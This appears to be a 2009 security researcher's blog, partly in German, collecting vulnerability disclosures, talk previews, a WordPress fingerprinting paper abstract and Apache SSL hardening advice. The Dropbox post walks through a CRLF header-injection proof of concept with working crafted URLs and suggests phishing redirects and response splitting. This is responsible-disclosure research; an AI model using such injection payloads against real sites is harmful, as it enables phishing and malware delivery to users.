Disclosure: PasswordManager Pro 6.1 Script Injection

PasswordManager Pro 6.1 Script Injection Vulnerability
scip AG Vulnerability ID 4063 (12/15/2009) http://www.scip.ch/?vuldb.4063

Stefan Friedli at scip AG (Switzerland) found an input validation error within the current release, which enabled an attacker to perform various web-based attacks.

The processing method for the search function fails to perform proper input validation on the data that is being submitted via HTTP GET. The parameter "searchtext" lacks validation and is therefore vulnerable to script injection. While there is a basic input filterting method in place, it fails to detect more advanced (e.g. encoded) payloads.
Other parts of the application might be affected too.

This vulnerability has been tested on version 6.1, other versions might be affected as well.

Advisory:
PasswordManager Pro 6.1 Script Injection Vulnerability

Dropbox is a cloud-based storage application and service operated by Dropbox, Inc. The service enables users to store and sync files online and between computers and share files and folders with others. [Source: Wikipedia]

It's an amazing tool and I love it to sync my non-sensitive stuff between my computers and my iPhone. I mean, it's free, it's functional and it keeps me from carrying around data on an usb stick.

However, while I can recommend Dropbox from a usability perspective, I was quite curious, how the application would handle security issues.

When using Dropbox, you are given several possibilities to access your data. The easiest is to install the Dropbox client, which creates a Dropbox folder in your, OS-specific, Documents folder and adds some nifty context-menu extensions to allow direct interaction in order to display file changes, access data online, share stuff etc.

Now, you might have a folder of... well, anything that you want to browse on the Dropbox website instead of your own filesystem, for whatever reason. Now you go to Dropbox.com, log in, browse to the folder and there you are. Or: You just rightclick on that folder, select "Browse on Dropbox website", get your existing session converted to a websession which makes authentication unnecessary and, there you go.

When you chose the lazy way, this is what happens.
Your browse is opening up and a URI like the following is being opened up (Yes, the variable values have been changed to prevent people tinkering around with my Dropbox account...):

https://www.dropbox.com/tray_login?i=372832&t=1260625705&v=f1a9afcb67f2372780f3893d170de164f070cb84&url=c%2Fbrowse%2FPhotos%3Fns_id%3D711010

Or, if you replace the query fields by their suspected content:

https://www.dropbox.com/tray_login?i={Dropbox ID}&t={Timestamp}&v={Verification String}&url={Whatever Directory you want to access}

This is what your browser does. It's sending some authentication data along with a timestamp and the directory you want to see. Now the server processes this data and - if you're lucky enough to get authenticated - you will get back a HTTP/302 reply, which sets the necessary cookies to get an authenticated session in your browser and redirects you using the Location: Header and the value of the "uri" Parameter your client submitted.

HTTP/1.1 302 FOUND
Server: nginx/0.7.63
Date: Sat, 12 Dec 2009 13:48:26 GMT
Content-Type: text/html; charset=utf-8
X-Transfer-Encoding: chunked
Connection: keep-alive
set-cookie: lid=YADDAYADDAYADDAYADDAYADDAYADDA; Domain=www.dropbox.com; expires=Sun, 12-Dec-2010 13:48:26 GMT; Path=/; httponly
set-cookie: forumjar=YADDAYADDAYADDAYADDAYADDAYADDA; Domain=dropbox.com; expires=Sun, 12-Dec-2010 13:48:26 GMT; Path=/; httponly
set-cookie: taste=YADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDAYADDA; Domain=dropbox.com; expires=Sun, 12-Dec-2010 13:48:26 GMT; Path=/; httponly
set-cookie: jar=YADDAYADDAYADDA; Domain=www.dropbox.com; expires=Sun, 12-Dec-2010 13:48:26 GMT; Path=/; httponly
set-cookie: touch=YADDA; Domain=dropbox.com; expires=Sun, 12-Dec-2010 13:48:26 GMT; Path=/; httponly
set-cookie: forumlid=YADDAYADDAYADDA; Domain=dropbox.com; expires=Sun, 12-Dec-2010 13:48:26 GMT; Path=/; httponly
location: /c/browse/Photos?ns_id=711010
pragma: no-cache
cache-control: no-cache
Content-length: 324

<html>
  <head><title>Found</title></head>
  <body>
    <h1>Found</h1>
    <p>The resource was found at <a href="/c/browse/Photos?ns_id=711010">/c/browse/Photos?ns_id=711010</a>;
you should be redirected automatically.
</p>
    <hr noshade>
    <div align="right">WSGI Server</div>
  </body>
</html>

Wait. It uses the "uri" parameter in a HTTP header? Oh, okay. That's... interesting. Let's try something:

https://www.dropbox.com/tray_login?i=x&t=y&v=z&url=Whatever%0d%0aX-AllYourBase:%20Are%20belong%20to%20us

Now let's just fire up WebScarab and see what we get here...

HTTP/1.1 302 FOUND
Server: nginx/0.7.63
Date: Sat, 12 Dec 2009 14:04:52 GMT
Content-Type: text/html; charset=utf-8
X-Transfer-Encoding: chunked
Connection: keep-alive
set-cookie: frmtry=MQ%3D%3D; Path=/; httponly
location: /Whatever
*X-AllYourBase: Are belong to us*
pragma: no-cache
cache-control: no-cache
Content-length: 348

Oh. They don't validate the uri parameter then. We can inject our own headers. Lucky for us, the vulnerable parameter is appended to the "location:" header line, so if we append another one of those, most browsers will resort to use the last one.

https://www.dropbox.com/tray_login?i=x&t=y&v=z&url=Whatever%0d%0aLocation:%20http://www.scip.ch

HTTP/1.1 302 FOUND
Server: nginx/0.7.63
Date: Sat, 12 Dec 2009 14:10:50 GMT
Content-Type: text/html; charset=utf-8
X-Transfer-Encoding: chunked
Connection: keep-alive
set-cookie: frmtry=MQ%3D%3D; Path=/; httponly
location: /Whatever
Location: http://www.scip.ch
pragma: no-cache
cache-control: no-cache
Content-length: 342

You click on a http://www.dropbox.com/... link and end up on our corporate website. Nice. We could try to redirect people to http://whateveryoulike.tld/dropbox_update.exe instead, which would fit nicely in a phishing attack.

Or, we could inject something completely else... like initiating a HTTP Response Splitting attack by injecting another HTTP response header with status code 200 and some nifty javascript magic or Metasploits good old browser_autopwn to work. Use your imagination ;).

Dropbox has been informed about this issue and will hopefully patch their servers soon in order to prevent you from being redirected to your next favourite ZeuS tracker ;).

While I was researching this issue, Nathan Hamiel came up with a rather similar issue: The enumeration of Dropbox user accounts using sequential account numbers for public file paths. You should check out his article here.

)talk( 3/09 - Preview: Exploiting

Während das Jahr langsam zur Neige geht, kommt auch der Termin für den dritten und letzten )talk( stetig näher. Mein technisches Segment für dieses Mal beschäftigt sich dediziert mit Exploiting.

Eine Schwachstelle macht noch keinen Sommer, so oder ähnlich sagt man im Volksmund. Tatsächlich bringt eine Schwachstelle einem Angreifer nur einen Vorteil, wenn sie in irgend einer Form ausnutzbar ist.

Wie aus einer SQL Injection Schwachstelle plötzlich eine Shell werden kann, wie verschiedene Payloads funktionieren und welche Sicherheitsmassnahmen gegen welche Arten von Angriffen nutzlos sind, soll im Rahmen der Präsentation erläutert werden.

Ausserdem auf der Agenda: scip AG Ankündigungen für die )talk( Events in 2010.

scip )talk( 03/09
11. November 2009, Zurich
Invite Only (www.scip.ch)

091027_malwareanalyse.png

Einleitung:

(...) Für die Sicherheit der eigenen Web Applikation zu sorgen, ist die Verantwortung jedes Webseitenbetreibers. Doch wird eine Seite kompromittiert, so muss adäquat reagiert werden. Gerade wenn eine Webpräsenz dazu missbraucht wird, deren Benutzer mit Schadsoftware oder Exploits zu attackieren, ist eine Klärung der Umstände unabdinglich, um eine professionelle Reaktion zu gewährleisten und den schier unabwendbaren Reputationsschaden möglichst gering zu halten.

Wie soll man jedoch im Detail herausfinden, was der auf der eigenen Seite befindliche Schadcode tut und dies auch noch in einer nachvollziehbaren und sicheren Weise? Der Ansatz, der hier in der Regel gewählt wird, ist eine strukturierte Analyse des Schadcodes, den ich im Folgenden an einem konkreten Beispiel erklären möchte. (...)

Artikel auf www.scip.ch



Disclosure: Check Point Connectra Script Injection

Check Point Connectra R62 Login Script Injection Vulnerability
scip AG Vulnerability ID 4020 (09/04/2009) http://www.scip.ch/?vuldb.4020

Stefan Friedli at scip AG (Switzerland) found an input validation error within the current release, which enabled an attacker to perform various web-based attacks.

The initial logon script at /Login/Login, that is being used for unauthenticated users to log in, fails to perform proper input validation on the data that is being submitted via HTTP POST. While certain fields are escaped before being sent back to users browser, the parameter "vpid_prefix" lacks any validation and is therefore vulnerable to script injection.
Other parts of the application might be affected too.

This vulnerability has been tested on version R62, other versions might be affected as well.

Advisory:
Check Point Connectra R62 Login Script Injection Vulnerability
Secunia:
Check Point Connectra vpid_prefix Cross-Site Scripting
Securityfocus:
Check Point Connectra '/Login/Login' Arbitrary Script Injection Vulnerability
VUPEN:
Check Point Connectra vpid_prefix Cross Site Scripting Vulnerability

UPDATE:
Other versions are affected too. See Checkpoints official response for details.

)talk( 2/09 - Preview: Smartphones

Nächste Woche findet der zweite )talk( des Jahres 2009 in Zürich statt. Im Zentrum steht dieses Mal das Thema Smartphones. Auch dieses Mal werde ich, diesmal in Zusammenarbeit mit Marc, ein technisches Segment präsentieren, dass sich konkret mit Angriffsvektoren auf aktuelle Smartphones, darunter Windows Mobile 6.1/6.5 und das Apple iPhone bezieht.

Konkret geht es darum, dass die genannten Geräte, neben diversen weiteren, immer stärker in modernen Unternehmensnetzwerken eingesetzt werden. Interessant ist das in erster Linie deshalb, weil die Funktionalität und die Leistungsfähigkeit dieser Handhelds längst an die Notebooks heranreichen, die wir vor einigen Jahren noch "performant" nannten. Während sich die üblichen Sicherheitsvorkehrungen für eben jene Notebooks sich seither doch um ein ganzes Stück verändert haben, werden Smartphones oftmals immer noch gleich behandelt, wie das altehrwürdige Nokia 3210: Als Mobiltelefon.

Wie Smartphones im Rahmen dedizierter Penetrationstest als Angriffsmedium verwendet werden können und wo die Grenzen des mobilen Exploitings liegen, soll im Rahmen des Vortrags "Smartphones: Angels and Demons" besprochen werden.

scip )talk( 02/09
02. September 2009, Zurich
Invite Only (www.scip.ch)

Paper: Vulnerable Web Application Enumeration

Abstact:
This paper discusses the automatic enumeration and fingerprinting of web applications. In this case, the popular WordPress blogging software was usedas an example to gain insight about the patch levels in "casual" environments.

Deprecated versions of WordPress are known to include several critical vulnerabilities, which make them an easy target to compromise systems in order to perform browser-based exploitation on their visitors or use the underlying infrastructure for several malicious purposes, for example sending spam or hosting malware.

In the first part of the paper, the technical solution to identify installations of the target application using openly available technology is being discussed. Further, the basic method of fingerprinting different versions of WordPress
(1.2 up to 2.7.1) are being illustrated.

In the second part of this document, some analysis of a enumeration scenario can be found. The scenario includes the enumeration, fingerprinting and analysis of thousand blogs powered by WordPress in Switzerland and Liechtenstein of which 60 per cent were found to be deprecated and partly prone to certain well-known security vulnerabilities.

Sprache: Englisch
Download: PDF, 450kb

)talk( 1/09 - Preview: Configuration Management

Nächste Woche findet die erste Ausgabe des scip )talk( im Jahr 2009 statt. Wie auch schon in 2008, werde ich ein technisches Segment präsentieren - und wie gehabt gibt es daher im Vorfeld schon ein paar Informationen zum besprochenen Thema.

Taming a Beast with a Thousand Heads: Configuration Management

Wir propagieren grundsätzlich sehr oft eine transparente Herangehensweise für Sicherheitsüberprüfungen. Gerade in komplexen Umgebungen macht es oftmals schlicht und ergreifend keinen Sinn, in einem sehr limitierten Zeitrahmen die oft zitierte Nadel im Heuhaufen - in diesem Fall eine kritische Schwachstelle - zu suchen.

Wenn Umgebungen periodisch geprüft werden, so wird ab einem gewissen Punkt gerne auf Konfigurationsanalysen zurückgegriffen. Die populärsten Form ist dabei die Analyse von Firewall Regelwerken, aber auch die Einstellungen artverwandter Gerätschaften, wie zum Beispiel Reverse Proxies, werden gerne auf diese Art und Weise untersucht.

Das Ziel einer Konfigurationsanalyse ist relativ simpel: Es werden Einstellungen gesucht, die eine negative Implikation auf die Sicherheit des Systems besitzen. Diese werden anschliessend bewertet (Kritikalität, Wahrscheinlichkeit, etc.) und mit Gegenmassnahmen versehen dokumentiert. Ein Beispiel wäre im Fall eines Apache Servers die Zeile:

SSLProtocol ALL
Diese Direktive würde bemängelt werden, weil sie SSLv2 unterstützt, was aus verschiedenen Gründen unerwünscht ist. Es würde daher empfohlen werden, die Zeile dahingehend zu modifizieren, dass SSLv2 nicht mehr erlaubt wird:

SSLProtocol ALL -SSLv2
Es würde als weitere Massnahme vorgeschlagen werden, dass eine themenverwandte Direktive eingesetzt werden sollte, um einen bestimmten Effekt, zu erreichen. In diesem Fall würde empfohlen werden, nur als kryptografisch sicher geltende Algorithmen zuzulassen. Dies entspricht der Konfiguration, die benötigt wird um PCI Compliance zu erreichen:

SSLCipherSuite HIGH:!SSLv2:!ADH:!aNULL:!eNULL:!NULL

In einem kompakten, klar abgesteckten Kontext, ist eine solche Analyse relativ simpel: Meistens ist höchstens eine handvoll Dateien mit ein paar Dutzend sicherheitsrelevanten Direktiven zu betrachten.

Interessant wird es aber, wenn plötzlich mehrere hundert Systemkonfigurationen mit tausenden (!) Konfigurationsdirektiven eines Dienstes normalisiert, analysiert und untereinander nach verschiedenen Kriterien verglichen werden sollen. Wie eine solche Analyse realisiert werden kann und was dabei beachtet werden muss, ist eines der weitergehenden Themen, auf das ich im )talk( eingehen werde.

scip )talk( 01/09
18. März 2009, Zurich
Invite Only (www.scip.ch)